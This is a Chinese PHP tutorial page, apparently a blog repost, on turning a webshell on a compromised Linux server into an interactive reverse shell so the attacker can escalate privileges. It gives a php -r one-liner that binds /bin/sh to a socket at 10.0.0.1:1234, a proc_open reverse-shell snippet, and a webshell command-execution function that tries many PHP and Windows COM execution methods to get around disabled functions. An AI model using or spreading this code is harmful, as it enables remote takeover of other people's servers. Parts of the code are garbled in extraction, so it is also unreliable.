当前位置:首页 > PHP教程 > php高级应用 > 列表

php webshell下直接反弹shell的例子

发布:smiling 来源: PHP粉丝网  添加日期:2018-10-13 14:25:04 浏览: 评论:0 

Linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

  1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

  1. $sock = fsockopen($ip$port); 
  2. $descriptorspec = array
  3.         0 => $sock
  4.         1 => $sock
  5.         2 => $sock 
  6. ); 
  7. $process = proc_open('/bin/sh'$descriptorspec$pipes); 
  8. proc_close($process); 

其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:

反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。

另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

  1. function exec_comm($cmd, &$type = '', &$suc = TRUE) 
  2.     set_error_handler("customError"); 
  3.     $re = false; 
  4.     if (emptyempty($cmd))  return '执行结果'
  5.     if (emptyempty($type)){ 
  6.         if(function_exists('exec')){ 
  7.             @exec($cmd$re); 
  8.             $re = join("\n"$re); 
  9.             $type = 'exec'
  10.         }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){ 
  11.             $type = 'shell_exec'
  12.         }else if(function_exists('system')){ 
  13.             @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean(); 
  14.             $type = 'system'
  15.         }else if(function_exists('passthru')){ 
  16.             @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean(); 
  17.             $type = 'passthru'
  18.         }else if(is_resource($f = popen($cmd,"r"))){ 
  19.             while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f); 
  20.             $type = 'popen'
  21.         }else if(function_exists('proc_open')){ 
  22.             $descriptorspec = array
  23.                 0 => array("pipe""r"), 
  24.                 1 => array("pipe""w"), 
  25.                 2 => array("pipe""w"
  26.              ); 
  27.             $process = proc_open($cmd$descriptorspec$pipes); 
  28.             if (is_resource($process)) { 
  29.                 fwrite($pipes[0], "{$cmd}\r\n"); 
  30.                 fwrite($pipes[0], "exit\r\n"); 
  31.                 fclose($pipes[0]); 
  32.                 // 读取输出 
  33.                 while (!feof($pipes[1])) { 
  34.                     $re .= fgets($pipes[1], 1024); 
  35.                 } 
  36.                 fclose($pipes[1]); 
  37.                 while (!feof($pipes[2])) { 
  38.                     $re .= fgets($pipes[2], 1024); 
  39.                   } 
  40.                 fclose($pipes[2]); 
  41.                 proc_close($process); 
  42.             } 
  43.         } 
  44.     }else if($type == 'wscript'){ 
  45.         $snew COM('wscript.shell'); 
  46.         $exec = $s->exec($cmd); 
  47.         $stdout = $exec->StdOut(); 
  48.         $re = $stdout->ReadAll(); 
  49.     }else if($type == 'application'){ 
  50.         $exe = gpc('exe''post''c:/windows/system32/cmd.exe'); 
  51.         $shellnew COM('Shell.Application'); 
  52.         $shell->ShellExecute($exe,$cmd); 
  53.         $re = "请查看{$cmd}中输入文件内容\n"
  54.     } //phpfensi.com 
  55.     if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'$suc = FALSE;} 
  56.     return $re

Tags: webshell 反弹shell

分享到: